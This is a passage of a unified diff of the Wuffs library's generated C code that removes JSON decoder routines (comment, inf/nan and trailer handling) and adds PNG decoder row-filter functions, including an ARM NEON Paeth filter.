| +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)((v_length + 1u))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- while (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); +- } +- v_length = 0u; +- continue; +- } +- v_length += 1u; +- } +- } else if ((v_c2 == 12079u) && self->private_impl.f_quirks[12u]) { +- iop_a_src += 2u; +- v_length = 2u; +- while (true) { +- if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { +- if (a_src && a_src->meta.closed) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(4u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(v_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- self->private_impl.f_comment_type = 2u; +- status = wuffs_base__make_status(NULL); +- goto ok; +- } else if (v_length > 0u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(4u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(v_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- } +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(6); +- while (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(7); +- } +- v_length = 0u; +- continue; +- } +- v_c = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- if (v_c == 10u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(4u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(v_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- self->private_impl.f_comment_type = 2u; +- status = wuffs_base__make_status(NULL); +- goto ok; +- } +- iop_a_src += 1u; +- if (v_length >= 65533u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(4u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)((v_length + 1u))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- while (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(8); +- } +- v_length = 0u; +- continue; +- } +- v_length += 1u; +- } ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_4_distance_4_arm_neon( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev) { ++ wuffs_base__slice_u8 v_curr = {0}; ++ wuffs_base__slice_u8 v_prev = {0}; ++ uint8x8_t v_fa = {0}; ++ uint8x8_t v_fb = {0}; ++ uint8x8_t v_fc = {0}; ++ uint8x8_t v_fx = {0}; ++ uint16x8_t v_fafb = {0}; ++ uint16x8_t v_fcfc = {0}; ++ uint16x8_t v_pa = {0}; ++ uint16x8_t v_pb = {0}; ++ uint16x8_t v_pc = {0}; ++ uint16x8_t v_cmpab = {0}; ++ uint16x8_t v_cmpac = {0}; ++ uint8x8_t v_picka = {0}; ++ uint8x8_t v_pickb = {0}; ++ ++ { ++ wuffs_base__slice_u8 i_slice_curr = a_curr; ++ v_curr.ptr = i_slice_curr.ptr; ++ wuffs_base__slice_u8 i_slice_prev = a_prev; ++ v_prev.ptr = i_slice_prev.ptr; ++ i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); ++ v_curr.len = 4; ++ v_prev.len = 4; ++ const uint8_t* i_end0_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 8) * 8)); ++ while (v_curr.ptr < i_end0_curr) { ++ v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); ++ v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_fafb = vaddl_u8(v_fa, v_fb); ++ v_fcfc = vaddl_u8(v_fc, v_fc); ++ v_pa = vabdl_u8(v_fb, v_fc); ++ v_pb = vabdl_u8(v_fa, v_fc); ++ v_pc = vabdq_u16(v_fafb, v_fcfc); ++ v_cmpab = vcleq_u16(v_pa, v_pb); ++ v_cmpac = vcleq_u16(v_pa, v_pc); ++ v_picka = vmovn_u16(vandq_u16(v_cmpab, v_cmpac)); ++ v_pickb = vmovn_u16(vcleq_u16(v_pb, v_pc)); ++ v_fx = vadd_u8(v_fx, vbsl_u8(v_picka, v_fa, vbsl_u8(v_pickb, v_fb, v_fc))); ++ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); ++ v_fc = v_fb; ++ v_fa = v_fx; ++ v_curr.ptr += 4; ++ v_prev.ptr += 4; ++ v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); ++ v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_fafb = vaddl_u8(v_fa, v_fb); ++ v_fcfc = vaddl_u8(v_fc, v_fc); ++ v_pa = vabdl_u8(v_fb, v_fc); ++ v_pb = vabdl_u8(v_fa, v_fc); ++ v_pc = vabdq_u16(v_fafb, v_fcfc); ++ v_cmpab = vcleq_u16(v_pa, v_pb); ++ v_cmpac = vcleq_u16(v_pa, v_pc); ++ v_picka = vmovn_u16(vandq_u16(v_cmpab, v_cmpac)); ++ v_pickb = vmovn_u16(vcleq_u16(v_pb, v_pc)); ++ v_fx = vadd_u8(v_fx, vbsl_u8(v_picka, v_fa, vbsl_u8(v_pickb, v_fb, v_fc))); ++ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); ++ v_fc = v_fb; ++ v_fa = v_fx; ++ v_curr.ptr += 4; ++ v_prev.ptr += 4; + } +- +- ok: +- self->private_impl.p_decode_comment[0] = 0; +- goto exit; ++ v_curr.len = 4; ++ v_prev.len = 4; ++ const uint8_t* i_end1_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4)); ++ while (v_curr.ptr < i_end1_curr) { ++ v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); ++ v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_fafb = vaddl_u8(v_fa, v_fb); ++ v_fcfc = vaddl_u8(v_fc, v_fc); ++ v_pa = vabdl_u8(v_fb, v_fc); ++ v_pb = vabdl_u8(v_fa, v_fc); ++ v_pc = vabdq_u16(v_fafb, v_fcfc); ++ v_cmpab = vcleq_u16(v_pa, v_pb); ++ v_cmpac = vcleq_u16(v_pa, v_pc); ++ v_picka = vmovn_u16(vandq_u16(v_cmpab, v_cmpac)); ++ v_pickb = vmovn_u16(vcleq_u16(v_pb, v_pc)); ++ v_fx = vadd_u8(v_fx, vbsl_u8(v_picka, v_fa, vbsl_u8(v_pickb, v_fb, v_fc))); ++ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); ++ v_fc = v_fb; ++ v_fa = v_fx; ++ v_curr.ptr += 4; ++ v_prev.ptr += 4; ++ } ++ v_curr.len = 0; ++ v_prev.len = 0; + } ++ return wuffs_base__make_empty_struct(); ++} ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) ++// ‼ WUFFS MULTI-FILE SECTION -arm_neon + +- goto suspend; +- suspend: +- self->private_impl.p_decode_comment[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++// -------- func png.decoder.filter_1 + +- goto exit; +- exit: +- if (a_dst && a_dst->data.ptr) { +- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); +- } +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_1( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr) { ++ return (*self->private_impl.choosy_filter_1)(self, a_curr); ++} + +- return status; ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_1__choosy_default( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr) { ++ uint64_t v_filter_distance = 0; ++ uint8_t v_fa = 0; ++ uint64_t v_i_start = 0; ++ uint64_t v_i = 0; ++ ++ v_filter_distance = ((uint64_t)(self->private_impl.f_filter_distance)); ++ v_i_start = 0u; ++ while (v_i_start < v_filter_distance) { ++ v_fa = 0u; ++ v_i = v_i_start; ++ while (v_i < ((uint64_t)(a_curr.len))) { ++ a_curr.ptr[v_i] = ((uint8_t)(a_curr.ptr[v_i] + v_fa)); ++ v_fa = a_curr.ptr[v_i]; ++ v_i += v_filter_distance; ++ } ++ v_i_start += 1u; ++ } ++ return wuffs_base__make_empty_struct(); + } + +-// -------- func json.decoder.decode_inf_nan ++// -------- func png.decoder.filter_1_distance_3_fallback + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_json__decoder__decode_inf_nan( +- wuffs_json__decoder* self, +- wuffs_base__token_buffer* a_dst, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- uint32_t v_c4 = 0; +- uint32_t v_neg = 0; ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_1_distance_3_fallback( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr) { ++ wuffs_base__slice_u8 v_curr = {0}; ++ uint8_t v_fa0 = 0; ++ uint8_t v_fa1 = 0; ++ uint8_t v_fa2 = 0; + +- wuffs_base__token* iop_a_dst = NULL; +- wuffs_base__token* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- wuffs_base__token* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- wuffs_base__token* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_dst && a_dst->data.ptr) { +- io0_a_dst = a_dst->data.ptr; +- io1_a_dst = io0_a_dst + a_dst->meta.wi; +- iop_a_dst = io1_a_dst; +- io2_a_dst = io0_a_dst + a_dst->data.len; +- if (a_dst->meta.closed) { +- io2_a_dst = iop_a_dst; ++ { ++ wuffs_base__slice_u8 i_slice_curr = a_curr; ++ v_curr.ptr = i_slice_curr.ptr; ++ v_curr.len = 3; ++ const uint8_t* i_end0_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 6) * 6)); ++ while (v_curr.ptr < i_end0_curr) { ++ v_fa0 = ((uint8_t)(v_fa0 + v_curr.ptr[0u])); ++ v_curr.ptr[0u] = v_fa0; ++ v_fa1 = ((uint8_t)(v_fa1 + v_curr.ptr[1u])); ++ v_curr.ptr[1u] = v_fa1; ++ v_fa2 = ((uint8_t)(v_fa2 + v_curr.ptr[2u])); ++ v_curr.ptr[2u] = v_fa2; ++ v_curr.ptr += 3; ++ v_fa0 = ((uint8_t)(v_fa0 + v_curr.ptr[0u])); ++ v_curr.ptr[0u] = v_fa0; ++ v_fa1 = ((uint8_t)(v_fa1 + v_curr.ptr[1u])); ++ v_curr.ptr[1u] = v_fa1; ++ v_fa2 = ((uint8_t)(v_fa2 + v_curr.ptr[2u])); ++ v_curr.ptr[2u] = v_fa2; ++ v_curr.ptr += 3; + } ++ v_curr.len = 3; ++ const uint8_t* i_end1_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 3) * 3)); ++ while (v_curr.ptr < i_end1_curr) { ++ v_fa0 = ((uint8_t)(v_fa0 + v_curr.ptr[0u])); ++ v_curr.ptr[0u] = v_fa0; ++ v_fa1 = ((uint8_t)(v_fa1 + v_curr.ptr[1u])); ++ v_curr.ptr[1u] = v_fa1; ++ v_fa2 = ((uint8_t)(v_fa2 + v_curr.ptr[2u])); ++ v_curr.ptr[2u] = v_fa2; ++ v_curr.ptr += 3; ++ } ++ v_curr.len = 0; + } +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } ++ return wuffs_base__make_empty_struct(); ++} + +- uint32_t coro_susp_point = self->private_impl.p_decode_inf_nan[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++// -------- func png.decoder.filter_1_distance_4_fallback + +- while (true) { +- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); +- continue; +- } +- if (((uint64_t)(io2_a_src - iop_a_src)) <= 2u) { +- if (a_src && a_src->meta.closed) { +- status = wuffs_base__make_status(wuffs_json__error__bad_input); +- goto exit; +- } +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); +- continue; +- } +- v_c4 = ((uint32_t)(wuffs_base__peek_u24le__no_bounds_check(iop_a_src))); +- if ((v_c4 | 2105376u) == 6712937u) { +- if (((uint64_t)(io2_a_src - iop_a_src)) > 7u) { +- if ((wuffs_base__peek_u64le__no_bounds_check(iop_a_src) | 2314885530818453536u) == 8751735898823356009u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(10485792u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(8u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- iop_a_src += 8u; +- status = wuffs_base__make_status(NULL); +- goto ok; +- } +- } else if ( ! (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); +- continue; +- } +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(10485792u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(3u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- iop_a_src += 3u; +- status = wuffs_base__make_status(NULL); +- goto ok; +- } else if ((v_c4 | 2105376u) == 7233902u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(10485888u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(3u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- iop_a_src += 3u; +- status = wuffs_base__make_status(NULL); +- goto ok; +- } else if ((v_c4 & 255u) == 43u) { +- v_neg = 0u; +- } else if ((v_c4 & 255u) == 45u) { +- v_neg = 1u; +- } else { +- status = wuffs_base__make_status(wuffs_json__error__bad_input); +- goto exit; +- } +- if (((uint64_t)(io2_a_src - iop_a_src)) <= 3u) { +- if (a_src && a_src->meta.closed) { +- status = wuffs_base__make_status(wuffs_json__error__bad_input); +- goto exit; +- } +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(4); +- continue; +- } +- v_c4 = (wuffs_base__peek_u32le__no_bounds_check(iop_a_src) >> 8u); +- if ((v_c4 | 2105376u) == 6712937u) { +- if (((uint64_t)(io2_a_src - iop_a_src)) > 8u) { +- if ((wuffs_base__peek_u64le__no_bounds_check(iop_a_src + 1u) | 2314885530818453536u) == 8751735898823356009u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)((10485760u | (((uint32_t)(32u)) >> v_neg)))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(9u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- iop_a_src += 9u; +- status = wuffs_base__make_status(NULL); +- goto ok; +- } +- } else if ( ! (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); +- continue; +- } +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)((10485760u | (((uint32_t)(32u)) >> v_neg)))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(4u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- iop_a_src += 4u; +- status = wuffs_base__make_status(NULL); +- goto ok; +- } else if ((v_c4 | 2105376u) == 7233902u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)((10485760u | (((uint32_t)(128u)) >> v_neg)))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(4u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- iop_a_src += 4u; +- status = wuffs_base__make_status(NULL); +- goto ok; +- } +- status = wuffs_base__make_status(wuffs_json__error__bad_input); +- goto exit; +- } ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_1_distance_4_fallback( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr) { ++ wuffs_base__slice_u8 v_curr = {0}; ++ uint8_t v_fa0 = 0; ++ uint8_t v_fa1 = 0; ++ uint8_t v_fa2 = 0; ++ uint8_t v_fa3 = 0; + +- ok: +- self->private_impl.p_decode_inf_nan[0] = 0; +- goto exit; ++ { ++ wuffs_base__slice_u8 i_slice_curr = a_curr; ++ v_curr.ptr = i_slice_curr.ptr; ++ v_curr.len = 4; ++ const uint8_t* i_end0_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4)); ++ while (v_curr.ptr < i_end0_curr) { ++ v_fa0 = ((uint8_t)(v_fa0 + v_curr.ptr[0u])); ++ v_curr.ptr[0u] = v_fa0; ++ v_fa1 = ((uint8_t)(v_fa1 + v_curr.ptr[1u])); ++ v_curr.ptr[1u] = v_fa1; ++ v_fa2 = ((uint8_t)(v_fa2 + v_curr.ptr[2u])); ++ v_curr.ptr[2u] = v_fa2; ++ v_fa3 = ((uint8_t)(v_fa3 + v_curr.ptr[3u])); ++ v_curr.ptr[3u] = v_fa3; ++ v_curr.ptr += 4; ++ } ++ v_curr.len = 0; + } ++ return wuffs_base__make_empty_struct(); ++} + +- goto suspend; +- suspend: +- self->private_impl.p_decode_inf_nan[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++// -------- func png.decoder.filter_2 + +- goto exit; +- exit: +- if (a_dst && a_dst->data.ptr) { +- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); +- } +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_2( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev) { ++ uint64_t v_n = 0; ++ uint64_t v_i = 0; + +- return status; ++ v_n = wuffs_base__u64__min(((uint64_t)(a_curr.len)), ((uint64_t)(a_prev.len))); ++ v_i = 0u; ++ while (v_i < v_n) { ++ a_curr.ptr[v_i] = ((uint8_t)(a_curr.ptr[v_i] + a_prev.ptr[v_i])); ++ v_i += 1u; ++ } ++ return wuffs_base__make_empty_struct(); + } + +-// -------- func json.decoder.decode_trailer ++// -------- func png.decoder.filter_3 + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_json__decoder__decode_trailer( +- wuffs_json__decoder* self, +- wuffs_base__token_buffer* a_dst, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_3( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev) { ++ return (*self->private_impl.choosy_filter_3)(self, a_curr, a_prev); ++} + +- uint8_t v_c = 0; +- uint32_t v_whitespace_length = 0; ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_3__choosy_default( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev) { ++ uint64_t v_filter_distance = 0; ++ uint64_t v_n = 0; ++ uint64_t v_i = 0; + +- wuffs_base__token* iop_a_dst = NULL; +- wuffs_base__token* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- wuffs_base__token* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- wuffs_base__token* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_dst && a_dst->data.ptr) { +- io0_a_dst = a_dst->data.ptr; +- io1_a_dst = io0_a_dst + a_dst->meta.wi; +- iop_a_dst = io1_a_dst; +- io2_a_dst = io0_a_dst + a_dst->data.len; +- if (a_dst->meta.closed) { +- io2_a_dst = iop_a_dst; ++ v_filter_distance = ((uint64_t)(self->private_impl.f_filter_distance)); ++ if (((uint64_t)(a_prev.len)) == 0u) { ++ v_i = v_filter_distance; ++ while (v_i < ((uint64_t)(a_curr.len))) { ++ a_curr.ptr[v_i] = ((uint8_t)(a_curr.ptr[v_i] + ((uint8_t)(a_curr.ptr[(v_i - v_filter_distance)] / 2u)))); ++ v_i += 1u; ++ } ++ } else { ++ v_n = wuffs_base__u64__min(((uint64_t)(a_curr.len)), ((uint64_t)(a_prev.len))); ++ v_i = 0u; ++ while ((v_i < v_n) && (v_i < v_filter_distance)) { ++ a_curr.ptr[v_i] = ((uint8_t)(a_curr.ptr[v_i] + ((uint8_t)(a_prev.ptr[v_i] / 2u)))); ++ v_i += 1u; ++ } ++ v_i = v_filter_distance; ++ while (v_i < v_n) { ++ a_curr.ptr[v_i] = ((uint8_t)(a_curr.ptr[v_i] + ((uint8_t)(((((uint32_t)(a_curr.ptr[(v_i - v_filter_distance)])) + ((uint32_t)(a_prev.ptr[v_i]))) / 2u))))); ++ v_i += 1u; + } + } +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } ++ return wuffs_base__make_empty_struct(); ++} + +- uint32_t coro_susp_point = self->private_impl.p_decode_trailer[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++// -------- func png.decoder.filter_3_distance_3_fallback + +- if (self->private_impl.f_quirks[18u]) { +- self->private_impl.f_trailer_stop = 10u; +- } else { +- self->private_impl.f_trailer_stop = 0u; +- } +- label__outer__continue:; +- while (true) { +- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); +- continue; ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_3_distance_3_fallback( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev) { ++ wuffs_base__slice_u8 v_curr = {0}; ++ wuffs_base__slice_u8 v_prev = {0}; ++ uint8_t v_fa0 = 0; ++ uint8_t v_fa1 = 0; ++ uint8_t v_fa2 = 0; ++ ++ if (((uint64_t)(a_prev.len)) == 0u) { ++ { ++ wuffs_base__slice_u8 i_slice_curr = a_curr; ++ v_curr.ptr = i_slice_curr.ptr; ++ v_curr.len = 3; ++ const uint8_t* i_end0_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 6) * 6)); ++ while (v_curr.ptr < i_end0_curr) { ++ v_fa0 = ((uint8_t)(((uint8_t)(v_fa0 / 2u)) + v_curr.ptr[0u])); ++ v_curr.ptr[0u] = v_fa0; ++ v_fa1 = ((uint8_t)(((uint8_t)(v_fa1 / 2u)) + v_curr.ptr[1u])); ++ v_curr.ptr[1u] = v_fa1; ++ v_fa2 = ((uint8_t)(((uint8_t)(v_fa2 / 2u)) + v_curr.ptr[2u])); ++ v_curr.ptr[2u] = v_fa2; ++ v_curr.ptr += 3; ++ v_fa0 = ((uint8_t)(((uint8_t)(v_fa0 / 2u)) + v_curr.ptr[0u])); ++ v_curr.ptr[0u] = v_fa0; ++ v_fa1 = ((uint8_t)(((uint8_t)(v_fa1 / 2u)) + v_curr.ptr[1u])); ++ v_curr.ptr[1u] = v_fa1; ++ v_fa2 = ((uint8_t)(((uint8_t)(v_fa2 / 2u)) + v_curr.ptr[2u])); ++ v_curr.ptr[2u] = v_fa2; ++ v_curr.ptr += 3; + } +- v_whitespace_length = 0u; +- while (true) { +- if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { +- if (v_whitespace_length > 0u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(v_whitespace_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- } +- if (a_src && a_src->meta.closed) { +- goto label__outer__break; +- } +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); +- goto label__outer__continue; +- } +- v_c = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- if (WUFFS_JSON__LUT_CLASSES[v_c] != 0u) { +- if (v_whitespace_length > 0u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(v_whitespace_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- } +- if (self->private_impl.f_trailer_stop > 0u) { +- status = wuffs_base__make_status(wuffs_json__error__bad_input); +- goto exit; +- } +- if (a_dst) { +- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); +- } +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- status = wuffs_json__decoder__decode_comment(self, a_dst, a_src); +- if (a_dst) { +- iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; +- } +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- if (self->private_impl.f_comment_type > 0u) { +- goto label__outer__continue; +- } +- status = wuffs_base__make_status(NULL); +- goto ok; +- } +- iop_a_src += 1u; +- if ((v_whitespace_length >= 65534u) || (v_c == self->private_impl.f_trailer_stop)) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)((v_whitespace_length + 1u))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- if (v_c == self->private_impl.f_trailer_stop) { +- status = wuffs_base__make_status(NULL); +- goto ok; +- } +- goto label__outer__continue; +- } +- v_whitespace_length += 1u; ++ v_curr.len = 3; ++ const uint8_t* i_end1_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 3) * 3)); ++ while (v_curr.ptr < i_end1_curr) { ++ v_fa0 = ((uint8_t)(((uint8_t)(v_fa0 / 2u)) + v_curr.ptr[0u])); ++ v_curr.ptr[0u] = v_fa0; ++ v_fa1 = ((uint8_t)(((uint8_t)(v_fa1 / 2u)) + 